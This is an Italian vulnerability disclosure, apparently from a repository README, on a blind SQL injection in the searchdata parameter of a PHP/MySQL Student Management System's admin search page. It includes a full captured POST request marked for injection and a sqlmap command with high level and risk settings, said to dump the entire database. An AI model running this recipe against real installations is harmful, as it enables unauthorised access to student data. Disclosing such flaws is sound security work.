
Sistema di Gestione Studenti con PHP e MySQL
Il Student Management System (SMS) è un'applicazione web sviluppata utilizzando PHP e MySQL per la gestione delle informazioni sugli studenti. Questo repository contiene il codice sorgente e i dettagli del sistema, insieme a un report di vulnerabilità di sicurezza.
Auditor:
Shoaib Alam - Profilo LinkedIn
Una vulnerabilità di Iniezione SQL Cieca è stata rilevata nel Student Management System. Questo problema interessa il parametro searchdata nella funzionalità di ricerca dell'applicazione.
/studentms/admin/search.phpsearchdataIl parametro searchdata è suscettibile a Iniezione SQL Cieca a causa di una sanitizzazione inadeguata dell'input. Un attaccante potrebbe sfruttare questa vulnerabilità iniettando query SQL dannose nell'input , ottenendo potenzialmente accesso non autorizzato al database o ad altre informazioni sensibili.
searchdata/studentms/admin/search.php
POST /studentms/admin/search.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
Origin: http://localhost
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://localhost/studentms/admin/search.php
Cookie: PHPSESSID=kq90r1jv25kn4flrqd74v1miqd
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
searchdata=*&search=
Salva la Richiesta POST sopra in req.txt usando il Blocco note o qualsiasi editor di testo.
Utilizza uno strumento come SQLMAP per sfruttare la vulnerabilità applicando questo comando (puoi personalizzarlo): sqlmap -r req.txt --dbs --random-agent --level 3 --risk 3
Il comando sopra eseguirà il dump dell'intero database dell'applicazione web.